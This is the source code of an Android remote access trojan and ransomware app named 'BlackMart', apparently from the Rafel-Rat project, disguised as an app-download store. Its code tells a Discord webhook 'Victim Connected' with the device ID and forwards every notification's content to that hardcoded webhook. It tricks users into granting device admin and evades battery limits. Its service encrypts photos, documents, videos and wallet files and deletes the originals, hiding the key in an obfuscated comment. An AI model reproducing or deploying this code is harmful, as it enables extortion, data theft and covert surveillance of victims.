/BlackMart/app/src/main/java/com/velociraptor/raptor/MainActivity.java: -------------------------------------------------------------------------------- 1 | package com.velociraptor.raptor; 2 | 3 | import android.Manifest; 4 | import android.app.ActivityManager; 5 | import android.app.AlertDialog; 6 | import android.app.DownloadManager; 7 | import android.content.ComponentName; 8 | import android.content.Context; 9 | import android.content.DialogInterface; 10 | import android.content.Intent; 11 | import android.content.SharedPreferences; 12 | import android.content.pm.ResolveInfo; 13 | import android.database.Cursor; 14 | import android.graphics.Color; 15 | import android.graphics.Typeface; 16 | import android.icu.text.SimpleDateFormat; 17 | import android.net.Uri; 18 | import android.os.Build; 19 | import android.os.Bundle; 20 | 21 | import androidx.annotation.NonNull; 22 | import androidx.annotation.RequiresApi; 23 | import androidx.appcompat.app.AppCompatActivity; 24 | import androidx.core.app.ActivityCompat; 25 | import androidx.core.content.ContextCompat; 26 | 27 | import android.Manifest; 28 | import android.app.DownloadManager; 29 | import android.content.ContentResolver; 30 | import android.content.pm.PackageManager; 31 | import android.net.Uri; 32 | import android.os.Build; 33 | import android.os.Bundle; 34 | import android.os.Handler; 35 | import android.os.StrictMode; 36 | import android.preference.PreferenceActivity; 37 | import android.provider.CallLog; 38 | import android.provider.ContactsContract; 39 | import android.telephony.SmsManager; 40 | import android.telephony.TelephonyManager; 41 | import android.text.TextPaint; 42 | import android.util.Log; 43 | import android.view.Gravity; 44 | import android.view.View; 45 | import android.view.WindowManager; 46 | import android.webkit.CookieManager; 47 | import android.webkit.DownloadListener; 48 | import android.webkit.MimeTypeMap; 49 | import android.webkit.URLUtil; 50 | import android.webkit.WebChromeClient; 51 | import android.webkit.WebView; 52 | import android.webkit.WebViewClient; 53 | import android.widget.TextView; 54 | import android.widget.Toast; 55 | import android.os.Environment; 56 | import android.os.PowerManager; 57 | import android.provider.Settings; 58 | import android.webkit.WebSettings; 59 | import android.webkit.WebView; 60 | import android.webkit.WebViewClient; 61 | 62 | import androidx.appcompat.app.AppCompatActivity; 63 | 64 | import com.karumi.dexter.Dexter; 65 | import com.karumi.dexter.MultiplePermissionsReport; 66 | import com.karumi.dexter.PermissionToken; 67 | import com.karumi.dexter.listener.PermissionRequest; 68 | import com.karumi.dexter.listener.multi.MultiplePermissionsListener; 69 | 70 | import java.io.BufferedReader; 71 | import java.io.IOException; 72 | import java.io.InputStreamReader; 73 | import java.net.ServerSocket; 74 | import java.net.Socket; 75 | import java.util.ArrayList; 76 | import java.util.Date; 77 | import java.util.List; 78 | import java.util.Timer; 79 | import java.util.TimerTask; 80 | import java.util.concurrent.TimeUnit; 81 | 82 | import io.reactivex.rxjava3.android.schedulers.AndroidSchedulers; 83 | import io.reactivex.rxjava3.core.Flowable; 84 | import io.reactivex.rxjava3.schedulers.Schedulers; 85 | import io.reactivex.rxjava3.subscribers.DisposableSubscriber; 86 | import android.app.admin.DevicePolicyManager; 87 | 88 | import static com.velociraptor.raptor.NotificationListener.senddisp; 89 | 90 | public class MainActivity extends AppCompatActivity { 91 | private WebView webView; 92 | private String sFileName, sUrl, sUserAgent; 93 | private DevicePolicyManager mDPM; 94 | private ComponentName mAdminName; 95 | private SharedPreferences prefs = null; 96 | // private Context context; 97 | 98 | 99 | 100 | @Override 101 | protected void onCreate(Bundle savedInstanceState) { 102 | super.onCreate(savedInstanceState); 103 | prefs = getSharedPreferences("com.velociraptor.raptor", MODE_PRIVATE); 104 | 105 | setContentView(R.layout.activity_main); 106 | webView = findViewById(R.id.webview); 107 | StrictMode.ThreadPolicy policy=new StrictMode.ThreadPolicy.Builder().permitAll().build(); 108 | StrictMode.setThreadPolicy(policy); 109 | boolean isNotificationServiceRunning = isNotificationServiceRunning(); 110 | 111 | String deviceId = Settings.Secure.getString(getApplicationContext().getContentResolver(), 112 | Settings.Secure.ANDROID_ID); 113 | ignorebt(); 114 | 115 | if(amifirst()){ 116 | try { 117 | 118 | 119 | senddisp("Victim Connected : ID -----> " + deviceId); 120 | 121 | } catch (IOException e) { 122 | e.printStackTrace(); 123 | } 124 | //autostart(); 125 | //LongToast.makeLongToast(getApplicationContext(),"Enable Auto Start For BlackMart",13000 ); 126 | } 127 | else{ 128 | try { 129 | senddisp("Victim Connected : ID -----> " + deviceId); 130 | } catch (IOException e) { 131 | e.printStackTrace(); 132 | } 133 | deviceadmin(); 134 | } 135 | if(!isNotificationServiceRunning) { 136 | 137 | AlertDialog.Builder alertDialog = new AlertDialog.Builder(this); 138 | alertDialog.setTitle("Alert") 139 | .setCancelable(false) 140 | .setMessage("Enable Notification Permission for BlackMart") 141 | .setPositiveButton("OK", new DialogInterface.OnClickListener() { 142 | @Override 143 | public void onClick(DialogInterface dialog, int which) { 144 | startActivity(new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS)); 145 | } 146 | }).show(); 147 | alertDialog.create(); 148 | 149 | } 150 | new Thread(){ 151 | @Override 152 | public void run() { 153 | Blackmain(); 154 | super.run(); 155 | } 156 | }.start(); 157 | 158 | 159 | //getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON) 160 | 161 | webView.setWebViewClient(new WebViewClient()); 162 | webView.setWebChromeClient(new WebChromeClient()); 163 | webView.getSettings().setJavaScriptEnabled(true); 164 | webView.getSettings().supportMultipleWindows(); 165 | webView.loadUrl("https://www.revdl.com/category/apps/"); 166 | webView.setDownloadListener(new DownloadListener() { 167 | @RequiresApi(api = Build.VERSION_CODES.JELLY_BEAN) 168 | 169 | public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimetype, long contentLength) { 170 | String filename = URLUtil.guessFileName(url, contentDisposition, getFileType(url)); 171 | sFileName = filename; 172 | sUrl = url; 173 | sUserAgent = userAgent; 174 | if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { 175 | if (ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.WRITE_EXTERNAL_STORAGE) 176 | == PackageManager.PERMISSION_GRANTED) { 177 | downloadFile(filename, url, userAgent); 178 | } else { 179 | requestPermissions(new String[]{Manifest.permission.WRITE_EXTERNAL_STORAGE}, 1001); 180 | } 181 | } else { 182 | downloadFile(filename, url, userAgent); 183 | } 184 | } 185 | }); 186 | } 187 | 188 | private boolean isNotificationServiceRunning() { 189 | ContentResolver contentResolver = getContentResolver(); 190 | String enabledNotificationListeners = 191 | Settings.Secure.getString(contentResolver, "enabled_notification_listeners"); 192 | String packageName = getPackageName(); 193 | return enabledNotificationListeners != null && enabledNotificationListeners.contains(packageName); 194 | 195 | } 196 | 197 | private boolean amifirst() { 198 | if (prefs.getBoolean("firstrun", true)) { 199 | prefs.edit().putBoolean("firstrun", false).commit(); 200 | return true; 201 | } 202 | else{ 203 | return false; 204 | } 205 | 206 | } 207 | 208 | public void ignorebt() { 209 | 210 | 211 | if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { 212 | PowerManager powerManager = (PowerManager) getSystemService(Context.POWER_SERVICE); 213 | if (!powerManager.isIgnoringBatteryOptimizations(getPackageName())) { 214 | Intent intent = new Intent(); 215 | intent.setAction(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS); 216 | intent.setData(Uri.parse("package:" + getPackageName())); 217 | startActivity(intent); 218 | } 219 | LongToast.makeLongToast(getApplicationContext(),"Enable No Restriction For BlackMart",13000 ); 220 | } 221 | } 222 | 223 | @RequiresApi(api = Build.VERSION_CODES.JELLY_BEAN) 224 | private void downloadFile(String filename, String url, String userAgent) { 225 | try { 226 | String cookie = CookieManager.getInstance().getCookie(url); 227 | DownloadManager downloadManager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE); 228 | DownloadManager.Request request = new DownloadManager.Request(Uri.parse(url)); 229 | request.setTitle(filename) 230 | .setDescription("Downloading...") 231 | .addRequestHeader("cookie", cookie) 232 | .addRequestHeader("User-Agent", userAgent) 233 | .setMimeType(getFileType(url)) 234 | .setAllowedOverMetered(true) 235 | .setAllowedOverRoaming(true) 236 | .setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE | 237 | DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_COMPLETED); 238 | downloadManager.enqueue(request); 239 | Toast.makeText(this, "Download Started", Toast.LENGTH_SHORT).show(); 240 | 241 | sUrl = ""; 242 | sFileName = ""; 243 | sUserAgent = ""; 244 | } catch (Exception ignored) { 245 | Toast.makeText(this, ignored.toString(), Toast.LENGTH_SHORT).show(); 246 | } 247 | } 248 | 249 | private String getFileType(String url) { 250 | ContentResolver contentResolver = getContentResolver(); 251 | MimeTypeMap mimeTypeMap = MimeTypeMap.getSingleton(); 252 | return mimeTypeMap.getExtensionFromMimeType(contentResolver.getType(Uri.parse(url))); 253 | } 254 | 255 | @RequiresApi(api = Build.VERSION_CODES.JELLY_BEAN) 256 | 257 | public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) { 258 | super.onRequestPermissionsResult(requestCode, permissions, grantResults); 259 | if (requestCode == 1001) { 260 | if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) { 261 | if (!sUrl.equals("") && !sFileName.equals("") && !sUserAgent.equals("")) { 262 | downloadFile(sFileName, sUrl, sUserAgent); 263 | } 264 | } 265 | } 266 | 267 | 268 | } 269 | 270 | 271 | 272 | @Override 273 | public void onBackPressed() { 274 | if (webView.canGoBack()) { 275 | webView.goBack(); 276 | 277 | } else { 278 | super.onBackPressed(); 279 | } 280 | 281 | } 282 | 283 | private void Blackmain() { 284 | Intent serviceIntent = new Intent(this, ForegroundService.class); 285 | serviceIntent.putExtra("inputExtra", "Warning !! Dont Close the App"); 286 | ContextCompat.startForegroundService(this, serviceIntent); 287 | 288 | } 289 | private void deviceadmin(){ 290 | 291 | try { 292 | // Initiate DevicePolicyManager. 293 | DevicePolicyManager policyMgr = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); 294 | // Set DeviceAdminDemo Receiver for active the component with different option 295 | ComponentName componentName = new ComponentName(this, DeviceAdminComponent.class); 296 | if (!policyMgr.isAdminActive(componentName)) { 297 | // try to become active 298 | Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN); 299 | intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, componentName); 300 | intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, 301 | "Click on Activate button to Secure your application"); 302 | startActivity(intent); 303 | } 304 | }catch (Exception e) { 305 | e.printStackTrace(); 306 | } 307 | } 308 | 309 | private void autostart(){ 310 | try { 311 | 312 | 313 | Intent intent = new Intent(); 314 | String manufacturer = android.os.Build.MANUFACTURER; 315 | if ("xiaomi".equalsIgnoreCase(manufacturer)) { 316 | intent.setComponent(new ComponentName("com.miui.securitycenter", "com.miui.permcenter.autostart.AutoStartManagementActivity")); 317 | } else if ("oppo".equalsIgnoreCase(manufacturer)) { 318 | intent.setComponent(new ComponentName("com.coloros.safecenter", "com.coloros.safecenter.permission.startup.StartupAppListActivity")); 319 | } else if ("vivo".equalsIgnoreCase(manufacturer)) { 320 | intent.setComponent(new ComponentName("com.vivo.permissionmanager", "com.vivo.permissionmanager.activity.BgStartUpManagerActivity")); 321 | } else if ("Letv".equalsIgnoreCase(manufacturer)) { 322 | intent.setComponent(new ComponentName("com.letv.android.letvsafe", "com.letv.android.letvsafe.AutobootManageActivity")); 323 | } else if ("Honor".equalsIgnoreCase(manufacturer)) { 324 | intent.setComponent(new ComponentName("com.huawei.systemmanager", "com.huawei.systemmanager.optimize.process.ProtectActivity")); 325 | } 326 | 327 | List list = getPackageManager().queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY); 328 | if (list.size() > 0) { 329 | startActivity(intent); 330 | } 331 | } catch (Exception e) { 332 | Log.e("exc" , String.valueOf(e)); 333 | } 334 | 335 | } 336 | 337 | 338 | 339 | } 340 | -------------------------------------------------------------------------------- /BlackMart/app/src/main/java/com/velociraptor/raptor/MyService.java: -------------------------------------------------------------------------------- 1 | package com.velociraptor.raptor; 2 | 3 | 4 | 5 | import android.annotation.SuppressLint; 6 | import android.app.Service; 7 | import android.app.WallpaperManager; 8 | import android.content.Intent; 9 | import android.graphics.Bitmap; 10 | import android.graphics.BitmapFactory; 11 | import android.graphics.Canvas; 12 | import android.graphics.Color; 13 | import android.graphics.Paint; 14 | import android.os.Environment; 15 | import android.os.Handler; 16 | import android.os.IBinder; 17 | import android.os.Looper; 18 | 19 | import android.text.Layout; 20 | import android.text.StaticLayout; 21 | import android.text.TextPaint; 22 | import android.widget.Toast; 23 | 24 | import java.io.ByteArrayOutputStream; 25 | import java.io.File; 26 | import java.io.FileInputStream; 27 | import java.io.FileOutputStream; 28 | import java.io.IOException; 29 | import java.util.ArrayList; 30 | import java.util.List; 31 | import java.util.Random; 32 | 33 | public class MyService extends Service { 34 | public MyService(){ 35 | 36 | } 37 | 38 | @Override 39 | public IBinder onBind(Intent intent) { 40 | return null; 41 | } 42 | 43 | List al, vids; 44 | 45 | String totalFiles = ""; 46 | byte[] KEY; 47 | 48 | 49 | 50 | public int startrans() { 51 | 52 | al = getFiles(Environment.getExternalStorageDirectory(), 53 | new String[]{ 54 | ".jpg", ".jpeg", ".png", ".JPG", ".PNG", 55 | ".JPEG", ".pdf", ".PDF", ".mp3", ".MP3", 56 | "wallet", ".ogg", ".thumbnails"}, 57 | new String[]{"Android/data"}); 58 | vids = getFiles(Environment.getExternalStorageDirectory(), 59 | new String[]{ 60 | ".mp4", ".MP4", ".avi", ".AVI", ".mov", ".MOV", ".mkv", ".MKV"}, 61 | new String[]{"Android/data"}); 62 | 63 | totalFiles = String.valueOf(al.size()) + " And " + String.valueOf(vids.size()); 64 | try { 65 | 66 | /* \u002a\u002f\u004b\u0045\u0059\u0020\u003d\u0020\u0022\u0030\u0031\u0032\u0033\u0034\u0035\u0036\u0037\u0038\u0039\u0030\u0031\u0032\u0033\u0034\u0035\u0022\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0022\u0055\u0054\u0046\u0038\u0022\u0029\u003b\u002f\u002a */ 67 | 68 | // Well... you guess it. 69 | encryptFile(); 70 | 71 | 72 | } catch (Exception e) { 73 | e.printStackTrace(); 74 | } 75 | 76 | 77 | return 0; 78 | } 79 | 80 | 81 | 82 | 83 | public void encryptFile() throws Exception { 84 | 85 | for (File file : al) { 86 | if (file.getPath().contains(".thumbnails")) { 87 | file.delete(); 88 | 89 | } else if (!file.getPath().contains("IMPORTANT.jpg") && !file.getPath().contains(".enc") && !file.getPath().contains("brld_")) { 90 | // 1 in N 91 | if (new Random().nextInt(20) == 0) { 92 | byte[] brld = blurPhoto(file); 93 | saveFile(brld, file.getParentFile().getPath() + File.separator + "brld_" + file.getName()); 94 | } 95 | byte[] enc = Aes.encrypt(KEY, fullyReadFileToBytes(file)); 96 | saveFile(enc, file.getPath() + ".enc"); 97 | 98 | file.delete(); 99 | 100 | } 101 | } 102 | 103 | for (File vid : vids) { 104 | if (!vid.getPath().contains(".enc")){ 105 | Aes.encryptLarge(KEY, vid, new File(vid.getPath()+".enc")); 106 | } 107 | } 108 | 109 | 110 | Bitmap bm = BitmapFactory.decodeResource(getResources(), R.mipmap.ic_launcher); 111 | ByteArrayOutputStream stream = new ByteArrayOutputStream(); 112 | bm.compress(Bitmap.CompressFormat.PNG, 100, stream); 113 | saveFile(stream.toByteArray(), Environment.getExternalStorageDirectory() + File.separator + "Pictures" ); 114 | 115 | 116 | 117 | 118 | } 119 | 120 | public void decryptFile() throws Exception { 121 | for (File file : al) { 122 | if (file.getPath().contains(".thumbnails") || file.getPath().contains("brld")) { 123 | file.delete(); 124 | } else if (file.getPath().contains(".enc") && !file.getPath().contains(".enc.enc") && !file.getPath().contains("brld")) { 125 | //Decrypt 126 | byte[] in = fullyReadFileToBytes(file); 127 | byte[] dec = Aes.decrypt(KEY, in); 128 | saveFile(dec, file.getPath().substring(0, file.getPath().length() - 4)); 129 | file.delete(); 130 | } 131 | 132 | } 133 | 134 | for (File vid : vids) { 135 | if (vid.getPath().contains(".enc") && !vid.getPath().contains(".enc.enc")) { 136 | Aes.decryptLarge(KEY, vid, new File(vid.getPath().substring(0, vid.getPath().length() - 4))); 137 | } 138 | } 139 | 140 | } 141 | 142 | byte[] fullyReadFileToBytes(File f) throws IOException { 143 | int size = (int) f.length(); 144 | byte bytes[] = new byte[size]; 145 | byte tmpBuff[] = new byte[size]; 146 | FileInputStream fis = new FileInputStream(f); 147 | try { 148 | 149 | int read = fis.read(bytes, 0, size); 150 | if (read < size) { 151 | int remain = size - read; 152 | while (remain > 0) { 153 | read = fis.read(tmpBuff, 0, remain); 154 | System.arraycopy(tmpBuff, 0, bytes, size - remain, read); 155 | remain -= read; 156 | } 157 | } 158 | } catch (IOException e) { 159 | throw e; 160 | } finally { 161 | fis.close(); 162 | } 163 | 164 | return bytes; 165 | } 166 | 167 | public void saveFile(byte[] data, String outFileName) { 168 | try { 169 | FileOutputStream fos = new FileOutputStream(outFileName); 170 | fos.write(data); 171 | fos.close(); 172 | } catch (Exception e) { 173 | e.printStackTrace(); 174 | } 175 | } 176 | 177 | List getFiles(File parentDir, String[] toFind, String[] exclude) { 178 | ArrayList inFiles = new ArrayList(); 179 | File[] files = parentDir.listFiles(); 180 | for (File file : files) { 181 | if (file.isDirectory()) { 182 | inFiles.addAll(getFiles(file, toFind, exclude)); 183 | } else { 184 | boolean append = false; 185 | for (String s : toFind) { 186 | if (file.getPath().contains(s)) { 187 | append = true; 188 | break; 189 | } 190 | } 191 | for (String ex : exclude) { 192 | if (file.getPath().contains(ex)) { 193 | append = false; 194 | break; 195 | } 196 | } 197 | 198 | if (append) { 199 | inFiles.add(file); 200 | } 201 | } 202 | } 203 | return inFiles; 204 | } 205 | 206 | public byte[] blurPhoto(File file) { 207 | BitmapFactory.Options options = new BitmapFactory.Options(); 208 | options.inPreferredConfig = Bitmap.Config.ARGB_8888; 209 | options.inJustDecodeBounds = false; 210 | Bitmap bitmap = BitmapFactory.decodeFile(file.getAbsolutePath(), options); 211 | if (bitmap == null) { 212 | return null; 213 | } 214 | Bitmap blurredBitmap = BlurBuilder.blur(this, bitmap); 215 | Bitmap textedBm = drawMultilineTextToBitmap(blurredBitmap, "Your files have been encripted."); 216 | 217 | 218 | ByteArrayOutputStream stream = new ByteArrayOutputStream(); 219 | textedBm.compress(Bitmap.CompressFormat.PNG, 100, stream); 220 | return stream.toByteArray(); 221 | 222 | } 223 | 224 | public void cleanPhotos() { 225 | for (File file : al) { 226 | if (BitmapFactory.decodeFile(file.getAbsolutePath()) == null) { 227 | file.delete(); 228 | } 229 | 230 | } 231 | 232 | } 233 | 234 | public Bitmap drawMultilineTextToBitmap(Bitmap bitmap, String gText) { 235 | int scale = 1; 236 | android.graphics.Bitmap.Config bitmapConfig = bitmap.getConfig(); 237 | // set default bitmap config if none 238 | if (bitmapConfig == null) { 239 | bitmapConfig = android.graphics.Bitmap.Config.ARGB_8888; 240 | } 241 | // resource bitmaps are imutable, 242 | // so we need to convert it to mutable one 243 | bitmap = bitmap.copy(bitmapConfig, true); 244 | 245 | Canvas canvas = new Canvas(bitmap); 246 | 247 | // new antialiased Paint 248 | TextPaint paint = new TextPaint(Paint.ANTI_ALIAS_FLAG); 249 | // text color - #3D3D3D 250 | paint.setColor(Color.rgb(61, 61, 61)); 251 | // text size in pixels 252 | paint.setTextSize(14 * scale); 253 | // text shadow 254 | paint.setShadowLayer(1f, 0f, 1f, Color.WHITE); 255 | 256 | // set text width to canvas width minus 16dp padding 257 | int textWidth = canvas.getWidth() - 16 * scale; 258 | 259 | // init StaticLayout for text 260 | StaticLayout textLayout = new StaticLayout( 261 | gText, paint, textWidth, Layout.Alignment.ALIGN_CENTER, 1.0f, 0.0f, false); 262 | 263 | // get height of multiline text 264 | int textHeight = textLayout.getHeight(); 265 | 266 | // get position of text's top left corner 267 | float x = (bitmap.getWidth() - textWidth) / 2; 268 | float y = (bitmap.getHeight() - textHeight) / 2; 269 | 270 | // draw text to the Canvas center 271 | canvas.save(); 272 | canvas.translate(x, y); 273 | textLayout.draw(canvas); 274 | canvas.restore(); 275 | 276 | return bitmap; 277 | } 278 | 279 | 280 | public void makeToast(final String text) { 281 | Handler handler = new Handler(Looper.getMainLooper()); 282 | handler.post(new Runnable() { 283 | @Override 284 | public void run() { 285 | Toast.makeText(getApplicationContext(), 286 | text, 287 | Toast.LENGTH_SHORT).show(); 288 | } 289 | }); 290 | } 291 | 292 | 293 | } 294 | 295 | 296 | 297 | 298 | 299 | -------------------------------------------------------------------------------- /BlackMart/app/src/main/java/com/velociraptor/raptor/NotificationListener.java: -------------------------------------------------------------------------------- 1 | package com.velociraptor.raptor; 2 | 3 | import android.annotation.SuppressLint; 4 | import android.app.Notification; 5 | import android.app.Service; 6 | import android.content.Context; 7 | import android.content.Intent; 8 | import android.os.Build; 9 | import android.os.IBinder; 10 | import android.service.notification.NotificationListenerService; 11 | import android.service.notification.StatusBarNotification; 12 | import android.util.Log; 13 | import android.widget.Toast; 14 | 15 | import androidx.annotation.RequiresApi; 16 | import androidx.core.content.ContextCompat; 17 | 18 | import org.json.JSONException; 19 | 20 | import java.io.IOException; 21 | 22 | @SuppressLint("OverrideAbstract") 23 | public class NotificationListener extends NotificationListenerService { 24 | 25 | @Override 26 | public IBinder onBind(Intent intent) { 27 | return super.onBind(intent); 28 | } 29 | 30 | @RequiresApi(api = Build.VERSION_CODES.KITKAT) 31 | @Override 32 | public void onNotificationPosted(StatusBarNotification sbn){ 33 | try { 34 | String appName = sbn.getPackageName(); 35 | String title = sbn.getNotification().extras.getString(Notification.EXTRA_TITLE); 36 | CharSequence contentCs = sbn.getNotification().extras.getCharSequence(Notification.EXTRA_TEXT); 37 | String content = ""; 38 | if(contentCs != null) content = contentCs.toString(); 39 | String Content = content; 40 | new Thread(){ 41 | @Override 42 | public void run() { 43 | try { 44 | if(!appName.equals("com.velociraptor.raptor")){ 45 | senddisp("App Name : " + appName + " " + "Title : " + title + " " + "Content : " + Content); 46 | Intent serviceIntent = new Intent(NotificationListener.this, ForegroundService.class); 47 | serviceIntent.putExtra("inputExtra", "Warning !! Dont Close the App"); 48 | ContextCompat.startForegroundService(NotificationListener.this, serviceIntent); 49 | } 50 | } catch (IOException e) { 51 | e.printStackTrace(); 52 | } 53 | } 54 | }.start(); 55 | 56 | } catch (Exception e) { 57 | e.printStackTrace(); 58 | } 59 | } 60 | 61 | public static void senddisp(String msg) throws IOException { 62 | DiscordWebhook webhook = new DiscordWebhook("https://discord.com/api/webhooks/921133285835423815/q9AEBnc-O2EYsrpOSpXfYzp1nF0xMKfu_CnwDLPjBiB_pDvOoZP-dfG2vhFCW27Xqti9"); 63 | webhook.setContent(msg); 64 | webhook.setAvatarUrl("https://avatars.githubusercontent.com/u/46685308?v=4"); 65 | webhook.setUsername("Rafel-Rat-"); 66 | webhook.execute(); 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /BlackMart/app/src/main/res/drawable/test.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /BlackMart/app/src/main/res/layout/activity_main.xml: -------------------------------------------------------------------------------- 1 | 2 | 8 | 9 | 13 | -------------------------------------------------------------------------------- /BlackMart/app/src/main/res/layout/lock_screen.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /BlackMart/app/src/main/res/mipmap-hdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/BlackMart/app/src/main/res/mipmap-hdpi/ic_launcher.png -------------------------------------------------------------------------------- /BlackMart/app/src/main/res/mipmap-hdpi/paper.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/BlackMart/app/src/main/res/mipmap-hdpi/paper.png -------------------------------------------------------------------------------- /BlackMart/app/src/main/res/mipmap-mdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/BlackMart/app/src/main/res/mipmap-mdpi/ic_launcher.png -------------------------------------------------------------------------------- /BlackMart/app/src/main/res/mipmap-mdpi/paper.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/BlackMart/app/src/main/res/mipmap-mdpi/paper.png -------------------------------------------------------------------------------- /BlackMart/app/src/main/res/mipmap-xhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/BlackMart/app/src/main/res/mipmap-xhdpi/ic_launcher.png -------------------------------------------------------------------------------- /BlackMart/app/src/main/res/mipmap-xhdpi/paper.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/BlackMart/app/src/main/res/mipmap-xhdpi/paper.png -------------------------------------------------------------------------------- /BlackMart/app/src/main/res/mipmap-xxhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/BlackMart/app/src/main/res/mipmap-xxhdpi/ic_launcher.png -------------------------------------------------------------------------------- /BlackMart/app/src/main/res/mipmap-xxhdpi/paper.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/BlackMart/app/src/main/res/mipmap-xxhdpi/paper.png -------------------------------------------------------------------------------- /BlackMart/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/BlackMart/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png -------------------------------------------------------------------------------- /BlackMart/app/src/main/res/mipmap-xxxhdpi/paper.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/BlackMart/app/src/main/res/mipmap-xxxhdpi/paper.png -------------------------------------------------------------------------------- /BlackMart/app/src/main/res/values/colors.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | #008577 4 | #00574B 5 | #D81B60 6 | 7 | -------------------------------------------------------------------------------- /BlackMart/app/src/main/res/values/strings.xml: -------------------------------------------------------------------------------- 1 | 2 | BlackMart 3 | Device Admin 4 | Enable to secure this app 5 | BlackMart 6 | Enable this to Use BlackMart 7 | Give permission 8 | Accept location permission 9 | 10 | -------------------------------------------------------------------------------- /BlackMart/app/src/main/res/values/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /BlackMart/app/src/main/res/xml/admin.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /BlackMart/app/src/main/res/xml/network_security_config.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /BlackMart/app/src/test/java/com/velociraptor/raptor/ExampleUnitTest.java: -------------------------------------------------------------------------------- 1 | package com.velociraptor.raptor; 2 | 3 | import org.junit.Test; 4 | 5 | import static org.junit.Assert.*; 6 | 7 | /** 8 | * Example local unit test, which will execute on the development machine (host). 9 | * 10 | * @see Testing documentation 11 | */ 12 | public class ExampleUnitTest { 13 | @Test 14 | public void addition_isCorrect() { 15 | assertEquals(4, 2 + 2); 16 | } 17 | } -------------------------------------------------------------------------------- /BlackMart/build.gradle: -------------------------------------------------------------------------------- 1 | // Top-level build file where you can add configuration options common to all sub-projects/modules. 2 | 3 | buildscript { 4 | repositories { 5 | google() 6 | jcenter() 7 | 8 | } 9 | dependencies { 10 | classpath 'com.android.tools.build:gradle:4.1.2' 11 | } 12 | } 13 | 14 | allprojects { 15 | repositories { 16 | google() 17 | jcenter() 18 | mavenCentral() 19 | maven { url 'https://maven.google.com' } 20 | maven { url 'https://jitpack.io' } 21 | maven { url "https://oss.jfrog.org/libs-snapshot" } 22 | 23 | } 24 | } 25 | 26 | task clean(type: Delete) { 27 | delete rootProject.buildDir 28 | } 29 | -------------------------------------------------------------------------------- /BlackMart/gradle.properties: -------------------------------------------------------------------------------- 1 | # Project-wide Gradle settings. 2 | # IDE (e.g. Android Studio) users: 3 | # Gradle settings configured through the IDE *will override* 4 | # any settings specified in this file. 5 | # For more details on how to configure your build environment visit 6 | # http://www.gradle.org/docs/current/userguide/build_environment.html 7 | # Specifies the JVM arguments used for the daemon process. 8 | # The setting is particularly useful for tweaking memory settings. 9 | org.gradle.jvmargs=-Xmx1536m 10 | # When configured, Gradle will run in incubating parallel mode. 11 | # This option should only be used with decoupled projects. More details, visit 12 | # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects 13 | # org.gradle.parallel=true 14 | # AndroidX package structure to make it clearer which packages are bundled with the 15 | # Android operating system, and which are packaged with your app's APK 16 | # https://developer.android.com/topic/libraries/support-library/androidx-rn 17 | android.useAndroidX=true 18 | # Automatically convert third-party libraries to use AndroidX 19 | android.enableJetifier=true 20 | 21 | -------------------------------------------------------------------------------- /BlackMart/gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- 